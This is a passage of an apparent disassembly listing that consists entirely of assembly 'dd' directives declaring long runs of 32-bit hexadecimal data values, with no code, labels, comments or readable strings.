		dd 45525A90h, 3AB131E0h, 41AA85D4h, 90FAFCFCh, 2DF72F63h
		dd 0C1B28377h, 93D58C0h, 4BFD6495h, 0BB4880F8h,	845BADDFh
		dd 1E5884FCh, 3919A519h, 0CF1D20D1h, 0E92804E0h, 9D2F419Fh
		dd 7F7A12D5h, 1499282h,	6A0DD9E1h, 367F0EC9h, 712DB8CBh
		dd 5187FE14h, 0D39C2D1Eh, 3DB030FBh, 6501DE6Bh,	0A50910F7h
		dd 823C5BE9h, 0AD1B169Eh, 1988D207h, 3E7205B8h,	0BE85CDECh
		dd 4BB7F812h, 0BD0F3521h, 0D6AC32F9h, 0F34487B2h, 8B31FF95h
		dd 80D6A1D9h, 2697F73Fh, 205250BFh, 5F4B1821h, 41784998h
		dd 0C0B85BBCh, 0CB8BBC17h, 52901AF1h, 0EFDD8873h, 0E68E4087h
		dd 780241E7h, 6036ED7Bh, 6B395C7Fh, 7CF67629h, 82135B9Fh
		dd 9EE5453h, 0F6591AC3h, 0F260A22Ch, 4BD2A429h,	0C8CEFAEDh
		dd 0B9FC5F14h, 2BD8B705h, 25BDFCC0h, 94E9660Ch,	129DD46Eh
		dd 1CF7C9CFh, 20E36D2Bh, 685FE4CCh, 1980DF9Bh, 4DFEAFB7h
		dd 1664BE0Dh, 1121C45Eh, 2F95992Ah, 640141B3h, 0DC8BEFFBh
		dd 11DA6A72h, 47C01CC8h, 1D649EE1h, 92F487F6h, 9BEB3CDh
		dd 5903CB80h, 0F9F85BC1h, 671231BFh, 9DB2113Bh,	2B9F6188h
		dd 43F81D53h, 0FC98FD5Bh, 0B1715F79h, 5B1D6C2Ah, 5D444DC2h
		dd 19904D9h, 342B048Ch,	0B4DEF692h, 2571F504h, 92A28CACh
		dd 9074D3CAh, 0E3FE02DCh, 39752260h, 3BCD9057h,	8E3603A3h
		dd 8CC12069h, 15B111B8h, 0B948710Fh, 9DEB2409h,	67A2BFACh
		dd 0F421F65Dh, 8707AD03h, 921FE54Fh, 65B0F5F9h,	1441959Dh
		dd 0F9AAC72Bh, 0EF71B056h, 60D98A10h, 0DCAEBEh,	1CB4ED21h
		dd 6BEB9273h, 0C4AC3C27h, 5F6F0019h, 706EF0E7h,	2E12A93Dh
		dd 0F8B15D37h, 8B08DB2Fh, 25C618B8h, 0C2BE0103h, 0BC1D975h
		dd 35CC2C9h, 0D0B6424h,	91987F10h, 7AE10157h, 0FEF144E6h
		dd 7AC9D046h, 0C1DD1207h, 75B08127h, 9566D34Eh,	75D4523Ah
		dd 0EBDE0BD4h, 2B5F5C17h, 16CB5E09h, 0D341AD1Ah, 30C108BAh
		dd 261CBF01h, 0E12F4790h, 0CE882FECh, 0A36D0001h, 312039C0h
		dd 0C15EBB05h, 0D10425A9h, 0A1866C13h, 0C1F76B47h, 90FC8A01h
		dd 6099EF80h, 669E0D79h
		dd 0DE66DCA7h, 0F5DE7B1Ch, 21E0CF80h, 0B0D17ACEh, 8D311664h
		dd 68BC8089h, 872EF86Eh, 0CD09E37Bh, 1E8E5079h,	0E598FB91h
		dd 0CD7035D3h, 61A50169h, 0F3F26EC2h, 0A2E06FFEh, 32A802F7h
		dd 0BE59D2Bh, 0CEE9E8FEh, 2B092D24h, 5E5A99FEh,	1707D4A3h
		dd 9464A48Bh, 95C06F80h, 0E1DF0181h, 0E913AF25h, 843F28BAh
		dd 9DAA05A1h, 93CD3E72h, 302BFEF1h, 3EBB56DDh, 66898614h
		dd 0DCB14EEBh, 0FDE1532Ah, 0E97BCF3h, 55BA6D6Eh, 0D80E62Ch
		dd 0EC13778Ah, 0A69ED3F0h, 5F29A848h, 0D25C7CF6h, 6659142Dh
		dd 4496CDA5h, 0E998FF82h, 0CB8995F9h, 0E8C71FEDh, 658805F0h
		dd 9AD9EF1h, 297727C9h,	5BC7475h, 0AB0C158Dh, 4EE2374h
		dd 0BC294097h, 30AAA576h, 2291E072h, 0EA9C7C07h, 0BB83E91Ch
		dd 37F2B1D2h, 0C1C64FF5h, 6E892709h, 2EC45FFEh,	70F6A700h
		dd 64287B95h, 5E4512C8h, 0DDCB0661h, 36CECF8Bh,	0BF01FCD9h
		dd 7BC489D3h, 0E8792E32h, 37842506h, 0D87987DBh, 2CE0F8h
		dd 0F4B37755h, 0A6BBBF2Dh, 70907A2Fh, 7582AA3Eh, 0BAE0A56Dh
		dd 0FA283B3Dh, 740502F0h, 82B75650h, 899F7A7Ah,	575F42A3h
		dd 1C918B35h, 0AEAB1E81h, 4B947050h, 0AED4CC24h, 0F333508h
		dd 3AC1DB81h, 26616E16h, 0A8B0F791h, 473AE0Ch, 0D3803884h
		dd 0B43CB8F1h, 2325BDFCh, 2AC4E059h, 0F90EEE50h, 251C3DE9h
		dd 271B3775h, 2EA9A5C1h, 6BAA74C5h, 3016E295h, 78487083h
		dd 0BCBB4DDAh, 9FED031Ah, 43209B4Ah, 3DBD2990h,	795302E1h
		dd 776007BEh, 5DDE9054h, 190099E4h, 0E2AA83CAh,	7F88271Dh
		dd 0CC134EB7h, 0F9B75F42h, 46F6260h, 95F41CFCh,	612488D8h
		dd 40792317h, 2FFF5FA4h, 0BDFF3ECAh, 524C8064h,	2DAEBEB7h
		dd 0D42FABB8h, 825EF198h, 15E5BD03h, 57E9BB5Ch,	0B5296718h
		dd 0ADA91D4Ah, 18C1AE8h, 4E0BD00Fh, 30B68E4Dh, 85A4116h
		dd 874FBCB7h, 770AD6CBh, 0A7499D34h, 5552A682h,	0B7045979h
		dd 0FFC85F99h, 0BCC42BBBh, 0CF800E9Dh, 0B31422D6h, 1082B3D5h
		dd 511395Ch, 915BD89h, 2D567566h, 585B35AFh, 10181959h
		dd 0F970D04h, 0BAB3CDDh, 0AC4FC49Fh, 0DC907D6Bh, 531327BFh
		dd 558D1020h, 43E47DCEh, 0F89F8B95h, 0EE895D2h,	0B7952050h
		dd 142C0226h, 5E5CC0DFh, 0A6B5FFEBh, 0D232AC0Eh, 9347FCh
		dd 52C62481h, 46B5CF99h, 804DB529h, 0FD6018C4h,	3025B172h
		dd 0B618FFFFh, 67C2358Dh, 75CEE380h, 29829A5Eh,	5D099185h
		dd 1571D27Bh, 9ED6602Eh, 19558D09h, 452F47D2h, 1F7E386h
		dd 0CD43EBBFh, 0C97F9632h, 81FC3960h, 4DE87093h, 0BD9650E8h
		dd 7C29FE89h, 40F3957Dh, 48B614C5h, 0CC96C412h,	813FB0E3h
		dd 0A89FA984h, 0A28EB812h, 8C3D7FABh, 877FB480h, 132F0C37h
		dd 0F7C2E4Ch, 0BA132150h, 0BBD36160h, 3BE32987h, 4701808Eh
		dd 0EE663530h, 0A29BFC01h, 507DA5BDh, 0B8F23Ah,	5CE3DA6Fh
		dd 814C78h, 0B0EC698h, 7D286FCh, 0D2E3625Ch, 1FB803FBh
		dd 1CA9444Bh, 898938C6h, 5AB60065h, 479947Ch, 83899E5h
		dd 518DEE5Fh, 0C7C1A85Ah, 412BBEAAh, 413D5E4h, 150981BBh
		dd 65AB0506h, 551B05C1h, 31CABF5Dh, 6E5E50A0h, 558B7612h
		dd 9145CC2h, 5409D2F6h,	0DF95FF44h, 0A92A040h, 19D70018h
		dd 335FBBA8h, 18974F66h, 25BD0BF6h, 0EEC731A9h,	7D4E7E1Ah
		dd 0F0E7BBCDh, 3B7554C1h, 3FEF742Eh, 6A870066h,	0CF2C7206h
		dd 0F781016Eh, 7CBCA5EDh, 3F7A2FC6h, 7F29A04h, 1B66AA42h
		dd 3D9D12B0h, 0C96DFF26h, 804A9A2Bh, 6B69A79h, 72CB0036h
		dd 3B45C3Fh, 7094B59Dh,	5C34E909h, 0EF8A1669h, 0B66F0312h
		dd 0E0B30571h, 0BE014AE5h, 0E28D0488h, 85494B11h, 9A3444E8h
		dd 22C7ABDFh, 68B60AF9h, 8A2802F6h, 2B8076D5h, 45C2E261h
		dd 0C4B4A49Ch, 6D977370h, 55E0E01Bh, 8000C743h,	23F38A12h
		dd 9D0EA595h, 6FE11C4Eh, 0CCC0AADEh, 0A18EFE7Eh, 80D0BE04h
		dd 0C281B585h, 9E2A325Dh, 5521920Fh, 1B357EEFh,	0D680B310h
		dd 0EF54D7ACh, 0EBC00160h, 536B00F4h, 2A42B2E9h, 941CFC2Bh
		dd 55820B8Dh, 0DCDE34CBh, 0D6C40006h, 3F954FA3h, 7C2A90C7h
		dd 0E81FB523h, 70BFF5h,	899385Fh, 72B04FECh, 2F4CDE0Eh
		dd 1EFB2061h, 0F4603A2h, 0E4C5D4D2h, 13D7F620h,	0CD000232h
		dd 0FEC127B7h, 1FC0A695h, 6BF759h, 0A336F324h, 1800E57Dh
		dd 5D4399FAh, 10BBC8h, 890E6785h, 280926D3h, 3CF8464Ch
		dd 8742809Eh, 7CC101F5h, 0A8E43A41h, 8BFC1700h,	225AD4DAh
		dd 1933F038h, 0B008C02Ah, 9CED219Bh, 6B28E0EFh,	38009EE2h
		dd 982F5B6h, 39491E3Eh,	0CA18D081h, 0D7476083h,	456838D9h
		dd 0D408D618h, 0C4D02256h, 0CEE943B6h, 11F0A7D4h, 0E16B543h
		dd 0B7F93F06h, 0B05192E0h, 0FC30125Eh, 156230ABh, 875A0086h
		dd 0DE27A91Eh, 0A2517BAEh, 6628849Ah, 0E386D3ABh, 0F41C0031h
		dd 0D785483Fh, 7D3313A0h, 11108EFh, 3FFC4321h, 0E8541E19h
		dd 0D8CF0702h, 64FD637Dh, 37790014h, 9EDA685Ah,	80198F70h
		dd 3084096h, 52512180h,	7D711368h, 0FE907418h, 30827B88h
		dd 8798A1B5h, 0E300676Bh, 69DFCCB8h, 65CF72h, 0EAC41E0Fh
		dd 3ACDF9B5h, 116C4D00h, 10DA1A3Dh, 1B7DA7h, 8303D805h
		dd 4332F6C8h, 962A8000h, 0C17302B1h, 5A280060h,	146918CEh
		dd 3A6730A6h, 71608B64h, 28432Ah, 0EBD975Fh, 5C5ADF8Ch
		dd 0FFD6A900h, 235DD12Bh, 0FD643ACCh, 0F93EA083h, 0AFA3C9E5h
		dd 6C9CEAC8h, 0B2435B01h, 824B018Bh, 21DE0898h,	6C74948Ch
		dd 1ACB431Eh, 0C940281Dh, 0AFA81289h, 41223053h, 0F15ECA28h
		dd 0C794C002h, 0E3CE21DBh, 5B0830F5h, 0C0F98421h, 496D4C0Bh
		dd 14BB8033h, 189C4A20h, 71CA80A0h, 81F04262h, 1040B533h
		dd 0E558D0C5h, 2621C0C6h, 0F38546D2h, 0A3335600h, 82322F04h
		dd 0E2DB1841h, 80F0A003h, 0BC0C7776h, 503ECFDFh, 8041D0A9h
		dd 9D01F823h, 0BA435C6Ch, 8D88DD18h, 0AC6C0B95h, 1486643Ah
		dd 0E40319CCh, 726378ADh, 606040BFh, 8E271B94h,	0BC0A10FFh
		dd 80AC269Ch, 5B8F0C3Ch, 0C711209h, 412E42EEh, 21C0B608h
		dd 0E20953E9h, 0C445009Fh, 4F863D13h, 0C8C0AB8Fh, 0D5CE1AC7h
		dd 8DAA0020h, 0A3DDF8ACh, 2B304D9Ah, 705D8109h,	6A8E00F9h
		dd 0EF66F7A6h, 0CE329784h, 30FCF88Dh, 58116C99h, 0D2889A43h
		dd 6C918980h, 384C92Ah,	314BBF6Fh, 7FE3B706h, 709FBBD0h
		dd 86FEA000h, 0CA675162h, 0CE477095h, 1E71D89h,	62B6F0F0h
		dd 8E667EABh, 1C211308h, 19D44h, 6DBE7476h, 670C929Eh
		dd 0E0D38E3Ah, 6A0A2880h, 199846A0h, 51120957h,	88B2A058h
		dd 9074FEDh, 2432E71Bh,	1A3C7960h, 86660599h, 683C75Fh
		dd 0B0A7C9A4h, 93078F46h, 1886F601h, 805C16C4h,	3354019Bh
		dd 0D302887Ch, 0E7C9AC61h, 0F23C40F9h, 7EC88320h, 500974F3h
		dd 20F84E0Ch, 1E3AC77Ch, 0BD9C0EEh, 4A5CF947h, 0C467703h
		dd 53AE484Fh, 55A2A828h, 37B3930h, 0D3E92BD5h, 880C1066h
		dd 50CB3E24h, 0F2048C52h, 0C3C797C0h, 83205662h, 1CFC0FAh
		dd 558745D8h, 0CC636741h, 0BE502C36h, 1636129Ch, 1E8C8CBh
		dd 4140E4CEh, 55A52A4Dh, 23043A94h, 9B0B001Ah, 638379FBh
		dd 9205FD72h, 0A327AA09h, 0D41FEC40h, 1646868Bh, 1E76921h
		dd 0A09F93DFh, 0BC82288h, 16194Bh, 8ACE8E2Ch, 0E3802847h
		dd 284D18F8h, 71637101h, 0B5682909h, 0FA0899C9h, 6C089B18h
		dd 0C4AA435Ah, 938F40D1h
		dd 12A76Ch, 4F04647Fh, 2BFC3120h, 1854B8A1h, 95C008F0h
		dd 5AC4D3C7h, 0C0F88540h, 1F00F7FBh, 434CABB6h,	2BF2C7Ah
		dd 0CEE8E148h, 0D8675E90h, 0A260D044h, 9E00A852h, 22CD42ACh
		dd 885ABAh, 0CB470248h,	432D4A08h, 49711700h, 4F30AED0h
		dd 1DB0C3h, 0BE6069CFh,	49E4023h, 2C061A00h, 0DA87CEC4h
		dd 734772F3h, 2240C13Fh, 808B0E8Ah, 2C0DE158h, 131CFE6h
		dd 0C70A880Bh, 21DF662Ah, 80C0F118h, 6107EBA1h,	7399B4Fh
		dd 199DE5F5h, 0D398FC24h, 4CCF4B40h, 0A420E088h, 0E622670Ch
		dd 0B05E48E1h, 8462044h, 739A2400h, 40024D68h, 3382EA3Bh
		dd 0CE1045ABh, 410D70F6h, 3007EAFBh, 599F2088h,	0B048D824h
		dd 0D74674h, 50B041C2h,	70CCF7Fh, 0BEEBCB79h, 0F335D065h
		dd 70C12FE6h, 49DF9250h, 0FF466806h, 556C9602h,	0BCC78243h
		dd 6C8E8A01h, 0A9C5C567h, 14AE8424h, 2859B3BAh,	48736062h
		dd 44FE4100h, 0AE211EF1h, 5600BF59h, 14FD6AF2h,	0A538550Fh
		dd 571180BFh, 253FE338h, 0A41F01D3h, 0E0CCAE20h, 82A7E05Dh
		dd 836C5000h, 0DA8A95Fh, 0A1080E95h, 1A40CD2Ch,	0E454234h
		dd 4070BB00h, 62A9C048h, 0E71C003Bh, 81C5A3FEh,	59182DE3h
		dd 0DB303834h, 8E43000Ch, 236B0A08h, 8D0133FDh,	5DAD03B0h
		dd 5887AE12h, 506D508Bh, 68D3D8D2h, 0E8523C00h,	49586B2Dh
		dd 0AD18C014h, 565CB459h, 1BB32A07h, 80D807A7h,	5259737h
		dd 71F0BC54h, 0E427D000h, 0BB863BFAh, 0C7B70087h, 0D7851702h
		dd 0FF0193D3h, 0F7CDA6Ch, 0A9803934h, 8DC40E7Ah, 45006520h
		dd 0A270A054h, 9D6697h,	0C88CD726h, 36E5688Bh, 5E8E80h
		dd 0E62E5C53h, 112F1E83h, 7B8F3Ah, 0A1FA3561h, 391A33h
		dd 4BF96621h, 4360D080h, 761E737Eh, 87FECBCDh, 0C4FE4954h
		dd 0E0EE1642h, 1EC2E77h, 0F9AE4E04h, 8034ACB3h,	235CD029h
		dd 0C5D4937h, 0B5B15042h, 21C0DD08h, 0A023A4F7h, 75D6079Ch
		dd 704E78F3h, 60CA9312h, 0C30542Eh, 3F388739h, 2A40D459h
		dd 6396CD3Eh, 577470F0h, 36D74806h, 8906EC4h, 9C9ACD3Fh
		dd 0C3693018h, 0FB28A071h, 930E30DDh, 38FE3320h, 9C386A60h
		dd 60D18754h, 37462962h, 0FD125C77h, 0FB0CD438h, 0C04B0810h
		dd 77FFA321h, 45002705h, 137E1E15h, 18FB591Fh, 60F42AF5h
		dd 8006CAAh, 1CCFB032h,	3DE5A54h, 8ACAB27Bh, 0D3B8FDE1h
		dd 30062A60h, 0CF99F0F8h, 71C70010h, 0B54711CCh, 0DD09C396h
		dd 81BBF508h, 344EC484h, 0CFDC1CF1h, 84110045h,	5C389EB4h
		dd 9D009331h, 91399A72h, 541F88Ah, 0DD63A901h, 7BAA00C0h
		dd 8404D0A2h, 990ED90Fh, 155660EBh, 0C07C9Eh, 0BF4F6ADCh
		dd 40B4D5EFh, 0D2924500h, 2764702Eh, 827901h, 13AE10B2h
		dd 7B0F30DCh, 9C096E12h, 5AFD2E00h, 1CC0C2Eh, 2CD68978h
		dd 0D0C54EC1h, 5300C331h, 83B2D3E3h, 4B4A33h, 3CB5C87Ah
		dd 11EFE237h, 6570900h,	0BEB7E3D0h, 0C24A124Eh,	80881E40h
		dd 0CC54C1Fh, 0B07B1EE7h, 0AEE10136h, 5E760360h, 0DD1F79A6h
		dd 46C7C4B0h, 874C1D3Ah, 4006A8E7h, 20ACBEB7h, 0EC3205C1h
		dd 38E6AD69h, 6346D620h, 0ABD95701h, 80D8C096h,	0FD13E530h
		dd 0C0D761Bh, 1D3E42DEh, 0D960E908h, 0FD6BBB20h, 110E0954h
		dd 69035375h, 4823BFF2h, 0FD1400ACh, 0DD35761Ah, 0BCE24486h
		dd 73FD6C00h, 5BC75CB9h, 0A7FA65h, 66405DA8h, 0BEB6C18Ch
		dd 3E05371Dh, 0D7DD1E85h, 0A9F8B840h, 3F42AD8Fh, 5933627Dh
		dd 2100D409h, 398FB218h, 0E8EA5Dh, 46EBDB6Bh, 81753BF0h
		dd 3A56760Ah, 191D884Dh, 0A55DF400h, 6D8C542h, 0A1AB4E57h
		dd 0E1F048C0h, 121D1870h, 0C6B33D77h, 0E808310Dh, 0C010BB21h
		dd 100DBD0h, 3399CDDFh,	2A0658F9h, 0CEF4F08Ch, 88908B60h
		dd 106C7B5h, 180D7710h,	1E8188E9h, 272C45E0h, 0F4052B20h
		dd 0B047FA36h, 3A502304h, 6EC5A1F7h, 37A0304Fh,	282C5ECDh
		dd 9C1E037Fh, 0F0D8BF4Eh, 7BA66351h, 0CF4B00B6h, 6A1AF5EBh
		dd 0CBE2F240h, 0BCEAA100h, 3E46980Eh, 0BE70387Fh, 6DC51486h
		dd 0C10061DAh, 0A698A26Eh, 19FD5931h, 881C9BDh,	0D218350h
		dd 0E02498AAh, 28064287h, 30849044h, 28B9FC96h,	0AF008298h
		dd 379E2272h, 0FF96A62h, 0C111FAACh, 423AC920h,	1314599Ah
		dd 10A0897Bh, 1D7C49F8h, 1F3BAC61h, 4D5E0FA6h, 0E6F8DC94h
		dd 7B9008Ch, 0B586A298h, 28096782h, 20F19054h, 0B3569550h
		dd 12E100ABh, 0DA299A02h, 167FDB75h, 65F0E500h,	5B58F2BBh
		dd 5C32195Ah, 0FC219843h, 4B0CBFD6h, 70BD1D41h,	79F660A0h
		dd 0D6ABD537h, 883FD00Eh, 65392FCBh, 90309298h,	0C95150h
		dd 3010D374h, 2DEF3E23h, 6FA65A0Fh, 558DA25Ch, 593060A1h
		dd 0FB61C8C1h, 79811480h, 30CE1F41h, 0BF906FCDh, 56EEF4A0h
		dd 0E8F8D9D4h, 4F188CF1h, 7A7127DDh, 1910099h, 1DB046B9h
		dd 1F3CFE1Ch, 0CFD980E4h, 0BB39EB0Eh, 4C5C50F4h, 8EC4137Ah
		dd 0A77409C1h, 0FC885982h, 3E20F040h, 4E1D3176h, 5392C318h
		dd 7A84245Eh, 0C81E906h, 402464A1h, 36E41A78h, 0BC0048DCh
		dd 739ABFFFh, 0BE49C103h, 0F5EDA1Ah, 10C62841h,	25E0E56Eh
		dd 789657CEh, 0E653Dh, 77FCD664h, 0ACC7312h, 4C1EA88Fh
		dd 0EC46748Ch, 90CA3100h, 8A62304Fh, 0C3B0C061h, 8985B57Bh
		dd 41DB794Bh, 686E5F9Ch, 0BBF880F8h, 9066F735h,	39090E0h
		dd 3DC305CDh, 382EBF52h, 8902D837h, 40D78220h, 0D2F17A28h
		dd 19880849h, 0A68FAAC0h, 22B54642h, 0AF190F2Bh, 9160AC8Fh
		dd 0A6567876h, 50806C4Ch, 3A16FB10h, 0BD021B86h, 0A1BE973Dh
		dd 0EC566AC0h, 61C80205h, 24413969h, 8CAF0C70h,	7FD6F04h
		dd 7F386D76h, 66FD6712h, 0D4EA9841h, 1024F5A1h,	74E80ED1h
		dd 0EC6042D0h, 788304F3h, 60415E24h, 3E40AC64h,	52AF0C94h
		dd 28883148h, 8E4CB04Dh, 517E3208h, 0ACF5C378h,	58D61480h
		dd 0C49CA7C2h, 0B94D60D0h, 1B723691h, 7B7E6188h, 0F163361Dh
		dd 0CD529600h, 0D5444Fh, 3B916155h, 40A69B78h, 0C5FB3400h
		dd 9638C2D9h, 4AE22C46h, 593CABC4h, 0A0FB18F1h,	6BE38A4h
		dd 9031B3D2h, 70E21F4h,	20569B64h, 0B921F6DFh, 0D5F304E9h
		dd 888F7E10h, 0C540AE34h, 167A1451h, 580AF4FCh,	3DA49689h
		dd 0FBEC49A0h, 4CEE2D7Ch, 3EC4500Dh, 0C30392Eh,	0A6048C69h
		dd 0B931AA98h, 9205A62h, 5298AEh, 7402E5A8h, 688D6E27h
		dd 0BE7DC870h, 40AD6224h, 4C4C4315h, 499961DAh,	2095B042h
		dd 672340C7h, 4498A80Eh, 5D62A931h, 98B00F20h, 804B4893h
		dd 265E0610h, 4408A85Bh, 0C21208BEh, 0D8764102h, 0CECC41F5h
		dd 0C9593020h, 24190220h, 72A41813h, 4542108Fh,	97D1C86Dh
		dd 40581E1Bh, 3AA4AEAAh, 0CC127A98h, 500FE646h,	68366578h
		dd 0C04D4801h, 0C4416DC4h, 38084EF1h, 833CA15Ch, 8976F20Fh
		dd 389562DAh, 0C100D809h, 33129EE7h, 0C860D646h, 65073A81h
		dd 0C2712E41h, 63AF6444h, 776E8004h, 0EA448C1Dh, 1C707Fh
		dd 0C29C4518h, 72502A7Bh, 41C7E49h, 0B5A078A8h,	75BB7C80h
		dd 79D8B93Fh, 0EFF8192Eh, 0A203000Bh, 23637D5h,	60C0E03Dh
		dd 0B52C0645h, 35BE03BCh, 0A3ABF072h, 1DE070E0h, 0BD0C5B02h
		dd 802AF6CDh, 28498A8h,	0C9BF0090h, 573D9EFCh, 0B6074D3Ch
		dd 0A35CC0Eh, 0C40AD26h, 0AB017645h, 34725758h,	0D04DDA00h
		dd 7820A97Ch, 91F47B81h, 0BA4500CCh, 2E32C90Dh,	0A38F84Ch
		dd 0A849405Dh, 0E7467Ch
		dd 0FCD984D5h, 2A26284Fh, 1D8829D6h, 4CA85136h,	96CACE35h
		dd 7ABB093Eh, 1BB3B800h, 7FFC76FBh, 4C200105h, 4F108577h
		dd 0B3B8480Dh, 0E8DCDB5Ch, 0C0008C46h, 0DBF08011h, 0C3DA7C4Bh
		dd 0B6D98D51h, 89DD290Fh, 0FEEF40EBh, 901977E5h, 75C1D0Ah
		dd 0CC09BCA4h, 6C25C46Ah, 0AE8C0899h, 110101C7h, 34237577h
		dd 198287h, 32F77835h, 811BD728h, 4E36124h, 0B04ED804h
		dd 0E62078B7h, 70053709h, 82E442C0h, 0D52AB0h, 0FFA25672h
		dd 0C4DD2101h, 3D11A89Fh, 0E988BC2Dh, 0E1207114h, 0A218FEBFh
		dd 0E635377Ch, 0B0C898F6h, 0FB570095h, 0BF12D9A9h, 653F8F22h
		dd 3A3B80A0h, 0E0DB53C6h, 10A4B025h, 2D8F7C3h, 306E42A5h
		dd 2E3860EDh, 0F43A0C9Eh, 3E21FBCEh, 0C2378800h, 897519A7h
		dd 6E76138Eh, 0CC18234Ah, 60299BF1h, 0A00ACA3h,	2530EB3h
		dd 1D4D05B9h, 1244F19h,	96D99549h, 4EE45079h, 80E8229Ah
		dd 0F8616C98h, 6A5A67C8h, 940ECC8h, 0EB790ABAh,	283EC020h
		dd 5CBABE47h, 70204178h, 2CF0AECh, 0A6D0E579h, 0E611D4h
		dd 12FF5E72h, 9B1DDDCh,	0AC4D7A35h, 8168BC04h, 642CB624h
		dd 64846BD0h, 259D28BEh, 6B11D080h, 0B54D03D9h,	0EE546EB4h
		dd 64B27872h, 1C0C6045h, 197C60DAh, 3E46B50Eh, 0F490F77Eh
		dd 0FD981E64h, 0E26ABB20h, 57C09567h, 8521B5C6h, 8836475Ch
		dd 95756D00h, 3EB06CAEh, 0F9247810h, 0BFA109CFh, 4503E468h
		dd 24C1F42Ch, 0BBC48E07h, 363AC720h, 60DAF642h,	2F7FB154h
		dd 0CE00EC5Eh, 0B978C8D7h, 0D7569B3h, 0F770B08Fh, 0FDEC4D51h
		dd 20953120h, 7C1EC310h, 3B9C4BDh, 0A980C007h, 150CF03h
		dd 0C0837A4Ah, 1B025F79h, 0F1E414A7h, 0A0DCFF28h, 408A46F4h
		dd 80ADA28Ch, 0C8138AE6h, 0AC6DC69Bh, 48EF0C61h, 0BB10B079h
		dd 0A64384A9h, 0D9AC8274h, 0C600F4C4h, 5DFAF95Eh, 147AD406h
		dd 0B0296EC4h, 423BA400h, 3F046D81h, 24648214h,	0BC234EB8h
		dd 8E2FD02Dh, 0EBB900ECh, 8892EF26h, 251DBDB7h,	20DF5C1Ch
		dd 104F8084h, 347874D0h, 50C04DBAh, 11B4D424h, 0C41500BFh
		dd 6E5E8E42h, 77561E32h, 9CBE00A0h, 0DD439410h,	0E700D099h
		dd 1A3005FCh, 45580072h, 2124735h, 6401C7C0h, 5611F533h
		dd 0F8C35AA3h, 71B696AFh, 7ACD3DCEh, 0C610DC58h, 0AA42004Eh
		dd 0B6E02E3Ch, 670AF48Eh, 8821941h, 3D0DC096h, 0D074195Dh
		dd 4410B84Eh, 0CC1278F0h, 4C48F9F6h, 0DA0880E1h, 168C4D75h
		dd 0A134EF17h, 3ED22820h, 93AA003Bh, 4A692E20h,	0E30F2696h
		dd 0A5835510h, 0E84015DAh, 2797AAD1h, 6CE900A1h, 4289D9B8h
		dd 2E004BDFh, 12AF50B6h, 55A517h, 479A3268h, 5F7C49EEh
		dd 81521F01h, 17AF7ADFh, 0BF3901D3h, 24EA0B06h,	0A531C007h
		dd 0AD1818D3h, 32DF821h, 73A41A54h, 0E6908D70h,	9D17B0DCh
		dd 0C800D47Bh, 25791119h, 3B1F71B9h, 1A865EB5h,	70774A87h
		dd 0F366021Dh, 1C7BD703h, 7548B5Fh, 0FFEB0E19h,	0AF1A30D3h
		dd 56887886h, 0B8E30BC7h, 638E484Ah, 8B3C4060h,	7600932Fh
		dd 710EDC10h, 362A8A7h,	43CBB315h, 0F81FB4D2h, 0F400CD5Bh
		dd 62598A42h, 0FD6E01C5h, 0DDB9E9E0h, 9001D2EEh, 0E0BE8CB7h
		dd 182C101Fh, 0FFE5067h, 58FC9600h, 12B9DAE4h, 0BAB200EAh
		dd 0E018F67Fh, 1031B44h, 39FA932Dh, 870830D5h, 44C97921h
		dd 0A58B6503h, 1B6EBE4h, 16CE5B19h, 0D41C401Dh,	5588B9E8h
		dd 5FA3009Dh, 0F4AF90Ah, 91E5EEA1h, 0FB801179h,	0E5011C44h
		dd 7295448Ch, 5D44E400h, 0F0AD61D2h, 0D1F40003h, 931EA391h
		dd 0F2903E01h, 0BED96718h, 0D0D71460h, 8DB83438h, 438E0F8Ch
		dd 0F7E06C3Ah, 535D0315h, 0B820A061h, 0DEC0D5BAh, 0E198074Bh
		dd 50E25EECh, 137F8CBCh, 29965C30h, 1251A9Ah, 5AFC1151h
		dd 98F339BDh, 0F921BE08h, 0B2250012h, 1FF11B4h,	4000585Fh
		dd 433B1031h, 6B334BAh,	0CCA40CE1h, 1C466185h, 4A250D02h
		dd 131CE411h, 1F2505E0h, 5E064060h, 0DB7B61A7h,	80783E90h
		dd 281F371Fh, 49E03380h, 619B143Ah, 6D22E8B7h, 46CFF90Eh
		dd 0CAE0883Ch, 406B80h,	0E23EA7ADh, 0BAEF23D2h,	0E74BC80Eh
		dd 129A63D6h, 844887Dh,	13CCF51Bh, 0CCB002h, 0F3898406h
		dd 5FD55E6Eh, 0F8D470Eh, 597E80CCh, 0AA923Ch, 0E1C09F96h
		dd 0DC4E61C5h, 0E607E200h, 0BF164BA2h, 83960356h, 7378E45Dh
		dd 0E0BCAB98h, 0CF0F38h, 0AA1B9350h, 1AC915h, 5D98F7DFh
		dd 5A743D14h, 4207F47Ch, 93973AE2h, 10A8E180h, 24D10186h
		dd 0F1A248D8h, 0F38C31C1h, 0E9E868D0h, 9A46060Ch, 0A38ACDh
		dd 0E4B4D5EDh, 0C1EAC3D7h, 4BFFF29h, 0C30601FFh, 0BFE71321h
		dd 341B1811h, 0E68920h,	0D2C6FDB3h, 24DD574Dh, 0E4FBD70Fh
		dd 3DFFE0DBh, 1945B82Ah, 29C0DE89h, 20CA08A1h, 0E9422083h
		dd 11B10411h, 5E215A95h, 882F3508h, 0A9908CC9h,	214BE982h
		dd 35216104h, 207D1229h, 0A36A20Dh, 0E9AB4E0Eh,	1AEFA052h
		dd 4AB465h, 87912444h, 28F0E7F2h, 1D374B00h, 0C274307Ah
		dd 8B140035h, 0C779C0F7h, 0EF077E88h, 0F9E640B5h, 38E81F01h
		dd 558FFCh, 0D923E090h,	7B43756Eh, 5C0E6C90h, 0E0CECDD2h
		dd 6397AB04h, 96C403D7h, 6BC6508Ah, 0F98B2801h,	0B60316B1h
		dd 50F5170h, 85FB005h, 0DF0800BCh, 0CED76846h, 75D4B500h
		dd 30AB802Dh, 10391D16h, 5D548318h, 29BB2FE1h, 6A74BEA8h
		dd 321DD400h, 8A89913Dh, 0E12A0043h, 0DE78CC6Bh, 87019574h
		dd 3B440241h, 0F3C0A359h, 0AE0605D5h, 4F09A89Fh, 990E52FCh
		dd 4F4C60A0h, 0CCE81549h, 19D62903h, 0BB62CD55h, 0E6600088h
		dd 0BB7CDEDBh, 693F5722h, 28A0249Ch, 90B315h, 27D2B97Bh
		dd 7B7EABDDh, 95060024h, 3DA75CC6h, 6A347D11h, 0C0AAE873h
		dd 0A2CAD21Bh, 540A4D7Ah, 988C86F7h, 7E09BF00h,	20F98Dh
		dd 0A194E318h, 0DF5F487Fh, 916E5B0Dh, 0C1D2FEE7h, 60CC4146h
